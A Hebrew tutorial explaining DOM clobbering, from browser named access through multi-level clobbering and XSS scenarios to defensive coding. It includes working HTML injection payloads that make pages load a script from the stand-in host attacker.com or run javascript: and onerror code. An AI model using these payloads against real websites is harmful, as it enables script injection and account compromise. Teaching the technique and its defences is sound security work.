שיבוש DOM - DOM Clobbering¶
גישה על שם - Named Access on Window¶
דפדפנים מספקים מנגנון שנקרא "named access on the Window object". כאשר אלמנט HTML מקבל id או name, הוא נגיש כמשתנה גלובלי:
<img id="myImage" src="photo.jpg">
<script>
console.log(myImage); // HTMLImageElement
console.log(window.myImage); // HTMLImageElement
console.log(window['myImage']); // HTMLImageElement
</script>
זה עובד גם עם name attribute:
<form name="myForm">
<input name="email" value="test@test.com">
</form>
<script>
console.log(myForm); // HTMLFormElement
console.log(document.myForm); // HTMLFormElement
console.log(myForm.email); // HTMLInputElement
console.log(myForm.email.value); // "test@test.com"
</script>
מהו שיבוש DOM - DOM Clobbering¶
שיבוש DOM מתרחש כאשר תוקף יוצר אלמנטי HTML עם id או name שדורסים משתנים גלובליים או תכונות של אובייקטים קיימים. זה מאפשר לשנות התנהגות של קוד JavaScript בלי להזריק סקריפטים.
<!-- legitimate code that expects a config object -->
<script>
// if config is not defined, use the default value
let analyticsUrl = window.config || '/default/analytics.js';
let s = document.createElement('script');
s.src = analyticsUrl;
document.body.appendChild(s);
</script>
<!-- attacker injects: -->
<a id="config" href="https://attacker.com/evil.js"></a>
כש-JavaScript מבצע window.config, הוא מקבל את אלמנט ה-<a>. כש-<a> מומר למחרוזת (דרך toString()), הוא מחזיר את ערך ה-href.
שיבוש עם אלמנטים שונים¶
אלמנט a¶
<a> הוא האלמנט הכי שימושי ל-clobbering כי toString() שלו מחזיר את ה-href:
<a id="url" href="https://attacker.com/evil.js"></a>
<script>
console.log(url); // HTMLAnchorElement
console.log(url.toString()); // "https://attacker.com/evil.js"
console.log(url + ''); // "https://attacker.com/evil.js"
console.log(`${url}`); // "https://attacker.com/evil.js"
</script>
אלמנט area¶
<area> עובד בצורה דומה ל-<a>:
<map name="test"><area id="url" href="https://attacker.com/"></map>
<script>
console.log(`${url}`); // "https://attacker.com/"
</script>
אלמנט form עם input¶
<form id="config">
<input name="apiUrl" value="https://attacker.com/api">
<input name="debug" value="true">
</form>
<script>
console.log(config.apiUrl.value); // "https://attacker.com/api"
console.log(config.debug.value); // "true"
</script>
שיבוש דו-רמתי - Two-Level Clobbering¶
שיבוש עם collections¶
כאשר יש מספר אלמנטים עם אותו id, הדפדפן יוצר HTMLCollection:
<a id="config"></a>
<a id="config" name="apiUrl" href="https://attacker.com/"></a>
<script>
console.log(config); // HTMLCollection [a, a]
console.log(config.apiUrl); // HTMLAnchorElement (the second one)
console.log(`${config.apiUrl}`); // "https://attacker.com/"
</script>
זה מאפשר שיבוש דו-רמתי: window.config.apiUrl -> מחרוזת.
שיבוש עם form¶
<form id="config">
<input name="apiUrl">
<input name="debug">
</form>
<script>
console.log(config); // HTMLFormElement
console.log(config.apiUrl); // HTMLInputElement
console.log(config.debug); // HTMLInputElement
</script>
שלוש רמות עם form ו-collection¶
<form id="config" name="config">
<input name="api" value="test">
</form>
<form id="config">
</form>
<script>
// config -> HTMLCollection
// config[0] -> HTMLFormElement (the first one)
// config[0].api -> HTMLInputElement
// config[0].api.value -> "test"
</script>
שיבוש toString ו-valueOf¶
דריסת toString¶
אלמנט <a> כבר דורס toString() - הוא מחזיר href. אפשר לנצל את זה:
<a id="someVar" href="javascript:alert(1)"></a>
<script>
// vulnerable code that uses someVar as a string
if (typeof someVar !== 'undefined') {
location = someVar; // toString() returns "javascript:alert(1)"
}
</script>
שרשרת prototype clobbering¶
<form id="x" tabindex="0">
<input name="toString" value="alert(1)">
</form>
<script>
// x.toString() -> HTMLInputElement (not a function!)
// this will cause an error, not code execution
// but it can be exploited to disrupt logic
try {
let str = x + ''; // TypeError: Cannot convert object to primitive value
} catch(e) {
// the code fails - denial of service
}
</script>
שיבוש ל-XSS¶
תרחיש 1: דריסת כתובת URL¶
<!-- vulnerable code -->
<script>
window.onload = function() {
let defaultUrl = window.defaultConfig || {};
let analyticsUrl = defaultUrl.url || '/analytics/track.js';
let s = document.createElement('script');
s.src = analyticsUrl;
document.body.appendChild(s);
};
</script>
<!-- attacker's injection -->
<a id="defaultConfig"></a>
<a id="defaultConfig" name="url" href="https://attacker.com/evil.js"></a>
תהליך:
1. window.defaultConfig מחזיר HTMLCollection (שני אלמנטי <a>)
2. defaultUrl.url מחזיר את האלמנט השני (עם name="url")
3. analyticsUrl מומר למחרוזת -> "https://attacker.com/evil.js"
4. סקריפט זדוני נטען
תרחיש 2: דריסת אובייקט תצורה¶
<!-- vulnerable code -->
<script>
let config = window.appConfig || {};
if (config.enableLogging) {
document.write('<div>' + config.logEndpoint + '</div>');
}
</script>
<!-- attacker's injection -->
<form id="appConfig">
<input name="enableLogging" value="1">
<img name="logEndpoint" src="x" onerror="alert(1)">
</form>
תרחיש 3: דריסת בדיקת אבטחה¶
<!-- vulnerable code -->
<script>
if (typeof DOMPurify === 'undefined') {
// DOMPurify not loaded, use fallback
element.innerHTML = userInput; // not safe!
} else {
element.innerHTML = DOMPurify.sanitize(userInput);
}
</script>
<!-- attacker's injection - clobbering DOMPurify -->
<img id="DOMPurify" src="x">
עכשיו typeof DOMPurify הוא 'object' (לא 'undefined'), אבל DOMPurify.sanitize לא קיימת, ויגרום לשגיאה. התוקף צריך לחשוב על דרך אחרת.
תרחישי exploit בעולם האמיתי¶
Gmail - שיבוש אובייקט הגדרות¶
<!-- example based on a real vulnerability -->
<a id="GLOBALS"></a>
<a id="GLOBALS" name="config" href="https://attacker.com/"></a>
<!-- the vulnerable code in Gmail used window.GLOBALS.config -->
אתרי WordPress - שיבוש wp.config¶
שיבוש של document properties¶
ניתן לשבש גם תכונות של document:
<!-- overriding document.cookie -->
<form name="cookie">test</form>
<script>
console.log(document.cookie); // HTMLFormElement (not cookies!)
</script>
<!-- overriding document.body -->
<img name="body" src="x">
<script>
console.log(document.body); // HTMLImageElement (not body!)
</script>
<!-- overriding document.forms -->
<img name="forms" src="x">
<script>
console.log(document.forms); // HTMLImageElement
</script>
דוגמאות שיבוש צעד אחר צעד¶
דוגמה מלאה: מ-injection ל-XSS¶
initial state:
- there is an injection point that allows HTML but not scripts (DOMPurify)
- JavaScript code on the page uses window.config
step 1: reviewing the vulnerable code
let config = window.config;
if (config) {
let s = document.createElement('script');
s.src = config; // toString() on the element
document.head.appendChild(s);
}
step 2: injecting a clobbering element
<a id="config" href="https://attacker.com/evil.js"></a>
(passes DOMPurify because there's no script or event handler)
step 3: the code executes
window.config -> HTMLAnchorElement
config is converted to a string -> "https://attacker.com/evil.js"
malicious script loads -> XSS!
דוגמה עם דריסת תנאי¶
vulnerable code:
if (!window.isInitialized) {
eval(window.initCode || 'console.log("init")');
}
payload:
<!-- not overriding isInitialized so the condition holds -->
<a id="initCode" href="javascript:alert(document.domain)"></a>
result:
window.isInitialized -> undefined (we didn't override it)
!undefined -> true (the condition holds)
window.initCode -> HTMLAnchorElement
toString() -> "javascript:alert(document.domain)"
eval("javascript:alert(document.domain)") -> alert!
הגנה¶
שימוש בהגדרות מפורשות¶
// bad - accessible for clobbering
if (window.config) { ... }
// good - explicit definition with let/const
let config = { apiUrl: '/api', debug: false };
// window.config can still be clobbered,
// but config (in the function scope) is not
בדיקת סוג¶
// checking that the value is of the correct type
let config = window.appConfig;
if (config && typeof config === 'object' && !(config instanceof HTMLElement)) {
// config is a regular JavaScript object, not a DOM element
}
שימוש ב-Object.hasOwn¶
// checking that the property belongs to the object and not to the prototype
if (Object.hasOwn(window, 'config') && typeof window.config === 'object') {
// ...
}
CSP כשכבת הגנה נוספת¶
גם אם תוקף מצליח לשבש DOM ולטעון סקריפט, CSP חזק יחסום אותו.
מניעת clobbering עם Object.freeze¶
// freeze critical objects before they can be clobbered
const CONFIG = Object.freeze({
apiUrl: '/api/v1',
debug: false
});
window.CONFIG = CONFIG;
סיכום¶
שיבוש DOM הוא טכניקת תקיפה שמנצלת את המנגנון של named access בדפדפנים. היא מאפשרת לתוקף לשנות ערכי משתנים גלובליים באמצעות injection HTML בלבד, בלי צורך בinjection סקריפטים. הטכניקה שימושית במיוחד כאשר CSP או סניטייזר מונעים injection סקריפטים ישירה, אבל מאפשרים HTML בסיסי.